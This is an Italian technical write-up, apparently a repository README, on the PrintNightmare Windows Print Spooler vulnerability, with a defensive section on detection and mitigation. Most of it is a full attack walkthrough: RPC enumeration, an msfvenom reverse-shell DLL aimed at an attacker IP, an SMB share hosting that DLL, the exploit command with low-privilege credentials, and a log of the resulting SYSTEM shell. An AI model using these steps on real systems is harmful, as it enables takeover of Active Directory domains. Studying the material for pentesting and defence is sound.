
Rapporto tecnico e analisi di PrintNightmare (CVE-2021-1675 / CVE-2021-34527), che copre lo sfruttamento RCE/LPE, il rilevamento tramite i log eventi di Windows e la mitigazione per Print Spooler.
Il repository contiene un report tecnico dettagliato (Write-up) e l'analisi del concetto di sfruttamento di una vulnerabilità critica nel servizio di gestione stampa di Windows (Print Spooler), che consente a un utente di dominio con privilegi bassi di eseguire codice arbitrario da remoto con i massimi privilegi di sistema.
🛑 WARNING & DISCLAIMER: Questo materiale è stato preparato esclusivamente a scopo educativo e per lo svolgimento di audit di sicurezza legittimi (Pentest). L'utilizzo delle tecniche descritte contro sistemi senza il preventivo consenso scritto dei proprietari è perseguibile per legge.
Le vulnerabilità della famiglia PrintNightmare rappresentano una minaccia critica per gli ambienti aziendali basati su Windows Server e Active Directory. Il difetto architetturale nella verifica dei permessi nelle interfacce RPC MS-RPRN (Print System Remote Protocol) e MS-PAR (Print System Asynchronous Remote Protocol) consente di richiedere legittimamente l'installazione di driver di stampa su un server remoto.
Il pericolo principale risiede nel fatto che, per impostazione predefinita, il servizio di gestione stampa (spoolsv.exe) è attivo sulla maggior parte dei server, inclusi i controller di dominio (Domain Controllers), e opera nel contesto dei privilegi più elevati NT AUTHORITY\SYSTEM. Il compromesso di un singolo account con privilegi bassi (ad esempio tramite phishing) consente all'attaccante di ottenere immediatamente il controllo completo sull'intera infrastruttura Active Directory.
impacket (rpcdump, smbserver), msfvenom, Metasploit Framework, exploit Python.Per realizzare il vettore di esecuzione remota di codice (RCE) sono necessarie credenziali di dominio valide di un utente con privilegi minimi (fornite nelle condizioni della ricerca).
spoolsv.exe) sulla macchina Windows target è attivo e funziona con i massimi privilegi SYSTEM, il che apre una possibilità diretta di escalation locale dei privilegi (LPE) sull'host attraverso il caricamento di una libreria non fidata.Prima di lanciare l'exploit principale, è necessario assicurarsi che la macchina remota esponga i protocolli di stampa vulnerabili e sia aperta all'interazione di rete. Eseguiamo un sondaggio delle interfacce RPC del sistema target:
impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'
Output di terminale controllato:
Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]
[MS-RPRN] e [MS-PAR]. Ciò conferma al 100% che il sistema supporta le interfacce di stampa remota necessarie ed è vulnerabile al vettore PrintNightmare.Creiamo un payload per architettura x64, specificando l'indirizzo IP della nostra macchina attaccante per la connessione di rete inversa:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"
Il server Windows target deve avere una possibilità legittima di scaricare la nostra DLL dalla rete senza utilizzare utilità di terze parti. Avviamo un server SMB con supporto al protocollo SMBv2 dalla cartella /tmp:
sudo impacket-smbserver tmp /tmp -smb2support
Eseguiamo lo script Python dell'exploit, fornendogli le credenziali di dominio dell'utente con privilegi bassi e il percorso UNC alla libreria dannosa sulla nostra condivisione SMB locale:
python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'
Log dell'intercettazione della sessione riuscita (Metasploit):
[*] Started reverse TCP handler on <ATTACKER_IP>:4444
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) Microsoft Corporation. Tutti i diritti riservati.
C:\Windows\system32> whoami
nt authority\system
NT AUTHORITY\SYSTEM. L'obiettivo è completamente compromesso.Per i professionisti Blue Team, il rilevamento dello sfruttamento di PrintNightmare si basa sull'audit dei log di sistema Windows e sul monitoraggio di attività anomale dei processi.
L'avvio riuscito dell'exploit lascia registrazioni caratteristiche nei log di stampa e nei log di sistema:
C:\Windows\System32\spool\drivers\x64\3\).Print Spooler), causato dal funzionamento instabile dell'exploit.cmd.exe, powershell.exe) o di utility di raccolta dati il cui processo padre è il processo di sistema del gestore stampa spoolsv.exe. In condizioni legittime, spoolsv.exe non genera mai shell di comando.spoolsv.exe verso risorse SMB esterne (porta 445) per scaricare file di driver.Disabled.